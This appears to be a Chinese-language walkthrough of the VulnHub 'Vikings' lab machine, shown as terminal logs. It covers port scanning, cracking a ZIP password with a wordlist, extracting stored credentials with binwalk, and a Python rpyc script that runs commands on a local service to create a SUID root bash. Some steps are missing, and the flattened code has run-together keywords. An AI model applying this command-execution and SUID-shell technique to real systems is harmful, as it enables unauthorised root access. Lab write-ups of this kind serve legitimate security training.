┌──(mikannse㉿kali)-[~/vulnhub/vikings] └─$ sudo nmap --min-rate=10000 -p- 192.168.56.109 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 14:36 HKT Nmap scan report for 192.168.56.109 Host is up (0.00057s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:B5:41:94 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
┌──(mikannse㉿kali)-[~/vulnhub/vikings] └─$ sudo nmap -sT -sC -sV -O -p22,80 192.168.56.109 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 14:37 HKT Nmap scan report for 192.168.56.109 Host is up (0.00060s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99 (RSA) | 256 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da (ECDSA) |_ 256 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce (ED25519) 80/tcp open http Apache httpd 2.4.29 |_http-server-header: Apache/2.4.29 (Ubuntu) | http-ls: Volume / | SIZE TIME FILENAME | - 2020-10-29 21:07 site/ |_ |_http-title: Index of / MAC Address: 08:00:27:B5:41:94 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|storage-misc Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28 Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 5.1 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds
┌──(mikannse㉿kali)-[~/vulnhub/vikings] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Cost 1 (HMAC size) is 1410760 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ragnarok123 (1.zip/king) 1g 0:00:00:05 DONE (2024-12-07 14:54) 0.1754g/s 53176p/s 53176c/s 53176C/s redsox#1..kweens Use the "--show" option to display all of the cracked passwords reliably Session completed.
得到密码:ragnarok123
┌──(mikannse㉿kali)-[~/vulnhub/vikings] └─$ binwalk -e king
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1429567 0x15D03F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
分离得到一个文本文件:
┌──(mikannse㉿kali)-[~/vulnhub/vikings/_king.extracted] └─$ cat user //FamousBoatbuilder_floki@vikings //f@m0usboatbuilde7
defexecute_remote_command(conn, command): try: print(f"Executing command: {command}") # 在远程服务器上执行命令 exit_code = conn.modules.os.system(command) print(f"Command executed. Exit code: {exit_code}") except Exception as e: print(f"An error occurred while executing the command: {e}")
defmain(): try: # 连接到rpyc经典服务器 (默认localhost, 端口18812) conn = rpyc.classic.connect("localhost") print("Connected to the rpyc server.") whileTrue: # 从用户获取要执行的命令 command = input("Enter a command to execute on the server (or 'exit' to quit): ").strip() if command.lower() == 'exit': break execute_remote_command(conn, command)
except ConnectionRefusedError: print("Could not connect to the rpyc server. Is it running?") except Exception as e: print(f"An error occurred: {e}") finally: if'conn'inlocals() and conn isnotNone: conn.close() print("Connection closed.")
if __name__ == "__main__": main()
然后运行
$ python3 rpc.py Connected to the rpyc server. Enter a command to execute on the server (or'exit' to quit): cp /bin/bash /tmp/root_bash Executing command: cp /bin/bash /tmp/root_bash Command executed. Exit code: 0 Enter a command to execute on the server (or'exit' to quit): chmod +xs /tmp/root_bash Executing command: chmod +xs /tmp/root_bash Command executed. Exit code: 0 Enter a command to execute on the server (or'exit' to quit): exit Connection closed.